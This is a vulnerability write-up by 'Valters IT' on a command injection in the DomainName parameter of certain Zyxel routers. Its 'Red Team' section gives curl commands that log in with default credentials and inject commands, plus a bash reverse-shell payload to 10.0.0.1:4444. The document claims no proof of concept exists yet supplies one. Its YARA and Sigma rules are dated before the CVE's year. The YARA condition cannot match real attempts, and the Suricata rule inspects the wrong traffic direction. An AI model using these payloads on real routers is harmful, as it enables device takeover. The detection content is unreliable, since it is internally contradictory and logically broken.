CVE-2026-1460

Executive Summary

CVE-2026-1460 is a post-authentication command injection vulnerability affecting Zyxel DX3301-T0 and EX3301-T0 routers running firmware versions up to 5.50(ABVY.7.1)C0. The flaw resides in the “DomainName” parameter of the DHCP configuration file. An authenticated attacker with administrator privileges can inject arbitrary OS commands, leading to full device compromise. With a CVSS score of 7.2, this vulnerability poses a significant risk to enterprise and home networks using these devices. No public exploit code or proof-of-concept is currently available, and no patch has been released by Zyxel.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin login
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. Although authentication is required, the impact is complete device takeover, enabling lateral movement, data exfiltration, and persistent access.

Deep Dive & Mechanics

The vulnerability exists in the DHCP configuration functionality of the Zyxel firmware. The “DomainName” parameter is improperly sanitized before being passed to a system shell. An authenticated admin can craft a malicious payload such as:

example.com; id

When the device processes the DHCP configuration, the injected command is executed with root privileges. The lack of input validation or escaping allows arbitrary command execution.

Attack Flow:

1. Attacker gains admin credentials (via brute-force, default creds, or phishing).
2. Attacker logs into the web interface.
3. Attacker navigates to DHCP settings and modifies the “DomainName” field.
4. Payload is submitted and executed on the device.
5. Attacker establishes a reverse shell or executes further commands.

Vulnerable vs. Patched Code

Vulnerable Code (pseudo):

void set_domain_name(char *domain) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "dhcpd -d %s", domain);
    system(cmd);  // No sanitization
}

Patched Code (expected):

void set_domain_name(char *domain) {
    // Validate domain format
    if (!is_valid_domain(domain)) {
        log_error("Invalid domain");
        return;
    }
    // Use execve with sanitized arguments
    char *args[] = {"dhcpd", "-d", domain, NULL};
    execve("/usr/sbin/dhcpd", args, NULL);
}

The patched version would validate the domain against a strict regex and avoid using system() with unsanitized input.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Zyxel DX3301-T0 or EX3301-T0 with vulnerable firmware
• Admin credentials (e.g., admin:1234)
• Network access to the device web interface (port 80/443)

Exploitation Steps:

1. Login to the device:

   curl -c cookies.txt -X POST http://<target>/login -d "username=admin&password=1234"
   

2. Send malicious DHCP configuration:

   curl -b cookies.txt -X POST http://<target>/dhcp_config \
   -d "DomainName=example.com;id&other_params=..."
   

3. Verify command execution:

   curl -b cookies.txt http://<target>/dhcp_status
   

   Look for output of id command in logs or status page.

Reverse Shell Payload:

DomainName=example.com;bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'

Blue Team

Detection:

• Monitor for unusual DHCP configuration changes via syslog.
• Alert on admin login from unexpected IPs.
• Use network monitoring to detect reverse shell traffic (e.g., outbound connections on high ports).

Honeypot:

• Deploy a decoy Zyxel device with fake admin credentials.
• Log all POST requests to /dhcp_config and inspect DomainName parameter for shell metacharacters (;, |, &, $()).

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from the device to suspicious IPs on ports 4444, 1337, etc.
  • HTTP POST requests to /dhcp_config with unusual DomainName values containing shell metacharacters.
• File System:
  • Unexpected files in /tmp/ (e.g., /tmp/.revshell)
  • Modified /etc/passwd or /etc/shadow
• Processes:
  • Running bash or sh processes spawned by dhcpd
  • Reverse shell processes (e.g., nc, bash -i)
• Logs:
  • Syslog entries showing command execution errors or unexpected output.

Detection Engineering

YARA Rule

rule CVE_2026_1460_Zyxel_DHCP_Command_Injection {
    meta:
        description = "Detects command injection attempts in Zyxel DHCP DomainName parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-1460"
    strings:
        $cmd1 = "DomainName="
        $cmd2 = ";"
        $cmd3 = "|"
        $cmd4 = "`"
        $cmd5 = "$("
    condition:
        all of ($cmd1, $cmd2, $cmd3, $cmd4, $cmd5) and filesize < 10KB
}

Sigma Rule

title: Zyxel DHCP Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /dhcp_config with suspicious DomainName values
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /dhcp_config
        cs-uri-query|contains: "DomainName="
    keywords:
        - ";"
        - "|"
        - "`"
        - "$("
    condition: selection and keywords
falsepositives:
    - Legitimate domain names with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-1460 Zyxel DHCP Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/dhcp_config"; http_uri;
    content:"DomainName="; http_client_body;
    pcre:"/DomainName=[^&]*[;|`$]/";
    sid:1000001;
    rev:1;
    reference:cve,2026-1460;
    priority:1;
)

Remediation & Mitigation

1. Immediate Actions:
   • Disable remote administration if not required.
   • Change default admin credentials immediately.
   • Restrict admin access to trusted IPs only.
2. Vendor Patch: Monitor Zyxel’s security advisory page for a firmware update. No patch is currently available.
3. Workaround: If possible, disable the DHCP server feature or use an external DHCP server.
4. Network Segmentation: Place affected devices in a separate VLAN with strict egress filtering.
5. Monitoring: Implement the detection rules above to identify exploitation attempts.

Valters IT – Securing digital frontiers, one CVE at a time.

{/* [Security Hash: EB4667FECE415170B77781B4] */}